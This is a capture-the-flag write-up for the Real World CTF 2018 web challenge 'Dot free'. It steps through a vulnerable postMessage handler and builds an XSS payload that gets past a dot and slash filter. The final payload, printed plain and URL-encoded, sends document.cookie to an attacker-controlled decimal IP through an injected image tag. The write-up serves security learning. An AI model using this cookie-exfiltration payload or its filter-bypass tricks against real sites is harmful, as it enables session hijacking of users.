English [Real World CTF 2018] [Web 105 – Dot free] Write Up

Description

All the IP addresses and domain names have dots, but can you hack without dot?

http://13.57.104.34/

Resolution

Navigating to http://13.57.104.34/ is giving the following error in the console:

 Uncaught SyntaxError: Unexpected end of JSON input
    at JSON.parse ()
    at window.onload ((index):183)

The source code on line 183 is:

    window.onload = function (ev) {
        postMessage(JSON.parse(decodeURIComponent(location.search.substr(1))), '*')
    }

A function taking in argument a JSON-urlencoded coming from location.search.
W3Schools: “The search property sets or returns the query string part of a URL, including the question mark (?).

Example:

http://13.57.104.34/?arg1=value1&arg2=value2
> location.search
"?arg1=value1&arg2=value2"

As there’s a substr(1), it will remove the 1st character:

> location.search.substr(1)
"arg1=value1&arg2=value2"

As the arguments need to be a valid JSON urlencoded:

> encodeURIComponent('{"key":"value"}')
%7B%22key%22%3A%22value%22%7D

Appended to the URL:

Plain:   http://13.57.104.34/?{"key":"value"}
Encoded: http://13.57.104.34/?%7B%22key%22%3A%22value%22%7D

(We’ll use the plain text version as it’s easier to explain, encoding will come at the last step.)

Now the JSON is sent through postMessage() which is used to post a message back to the HTML page.
Mozilla: “The window.postMessage() method safely enables cross-origin communication between Window objects; e.g., between a page and a pop-up that it spawned, or between a page and an iframe embedded within it.

The function handling this event:

    window.addEventListener('message', function (e) {
        if (e.data.iframe) {
            if (e.data.iframe && e.data.iframe.value.indexOf('.') == -1 && e.data.iframe.value.indexOf("//") == -1 && e.data.iframe.value.indexOf("。") == -1 && e.data.iframe.value && typeof(e.data.iframe != 'object')) {
                if (e.data.iframe.type == "iframe") {
                    lce(doc, ['iframe', 'width', '0', 'height', '0', 'src', e.data.iframe.value], parent);
                } else {
                    lls(e.data.iframe.value)
                }
            }
        }
    }, false);

Let’s debug line by line!

To pass this test:

        if (e.data.iframe) {
> e.data
{"key":"value"}

> e.data.iframe
undefined

The JSON must contain a key called “iframe”, the new payload is:

http://13.57.104.34/?{"iframe":"value"}

Now the JSON value for key “iframe” is “value”:

> e.data.iframe
value

To pass the line with the others tests (reordered):

e.data.iframe.value

=> A key named “value” must exists in the value of the key “iframe”. #inception

{
   "iframe":{
      "value":"meh"
   }
}
e.data.iframe.value.indexOf('.') == -1 && e.data.iframe.value.indexOf("//") == -1

=> The value must NOT contain dots and slashes.

e.data.iframe.value.indexOf("。") == -1 && \

=> The value must NOT contain degrees too.
(Why you’ll say? Degree signs can be considered as dots by your browser! http://google。com)

typeof(e.data.iframe != 'object')) {

=> e.data.iframe must NOT be the string “object”
Not to be mingled with “typeof(e.data.iframe) != ‘object’)” as it has to be a JSON object!

Let’s continue with the rest of the script:

            if (e.data.iframe.type == "iframe") {
                lce(doc, ['iframe', 'width', '0', 'height', '0', 'src', e.data.iframe.value], parent);
            } else {
                lls(e.data.iframe.value)
            }

The function lce:

    function lce(doc, def, parent) {
        var el = null;
        if (typeof doc.createElementNS != "undefined") el = doc.createElementNS("http://www.w3.org/1999/xhtml", def[0]);
        else if (typeof doc.createElement != "undefined") el = doc.createElement(def[0]);

        if (!el) return false;

        for (var i = 1; i < def.length; i++) el.setAttribute(def[i++], def[i]);
        if (parent) parent.appendChild(el);
        return el;
    };

=> Creates a new element in the DOM taking all parameters in def[] to build it.

The function lls:

    function lls(src) {
        var el = document.createElement('script');
        if (el) {
            el.setAttribute('type', 'text/javascript');
            el.src = src;
            document.body.appendChild(el);
        }
    };

=> Creates a new element <script> in the DOM with the given src.

Returning to the main script:

            if (e.data.iframe.type == "iframe") {
                lce(doc, ['iframe', 'width', '0', 'height', '0', 'src', e.data.iframe.value], parent);

If e.data.iframe.type == “iframe” it should create:

<iframe width="0" height="0" src="[e.data.iframe.value]"></iframe>

Does it really works? Not at all!

Uncaught ReferenceError: doc is not defined

As we want to jump in the else case, e.data.iframe.type must NOT be “iframe”, here’s the new payload:

{"iframe":{"value":"meh","type":"notiframe"}}

Thanks to the lls() function it creates the following element in the DOM:

<script type="text/javascript" src="meh"></script>

We can abuse of lls() to write javascript code in order to call lce() with our own parameters:

{"iframe":{"value":"data:,lce(document,['img','src','URL'],document['body']);","type":"notiframe"}}
# document['body'] = document.body (we bypassed the dots filter)

Giving the result:

<script type="text/javascript" src="data:,lce(document,['img','src','URL'],document['body']);"></script>
<img src="URL">

On the next steps we need to add // before URL and add +document[‘cookie’]:

{"iframe":{"value":"data:,lce(document,['img','src',String['fromCharCode'](0x2f)+String['fromCharCode'](0x2f)+'URL?'+document['cookie']],document['body']);","type":"notiframe"}}

Giving the result:

<script type="text/javascript" src="data:,lce(document,['img','src',String['fromCharCode'](0x2f)+String['fromCharCode'](0x2f)+'URL?'+document['cookie']],document['body']);"></script>
<img src="//URL?">

Using an IP in decimal form will not use dots: https://www.ipaddressguide.com/ip, replace the string “URL” with the integer.

Final payload to submit:

Plain:    http://13.57.104.34/?{"iframe":{"value":"data:,lce(document,['img','src',String['fromCharCode'](0x2f)+String['fromCharCode'](0x2f)+'0123456789?'+document['cookie']],document['body']);","type":"notiframe"}}
Encoded : http://13.57.104.34/?{%22iframe%22:{%22value%22:%22data:,lce(document,[%27img%27,%27src%27,String[%27fromCharCode%27](0x2f)+String[%27fromCharCode%27](0x2f)+%270123456789?%27+document[%27cookie%27]],document[%27body%27]);%22,%22type%22:%22notiframe%22}}

The server has been XXSed with success!

GET /?flag=rwctf%7BL00kI5TheFlo9%7D HTTP/1.1 200 0

The flag was: rwctf{L00kI5TheFlo9}

One thought on “[Real World CTF 2018] [Web 105 – Dot free] Write Up”

Leave a Reply

Your email address will not be published. Required fields are marked *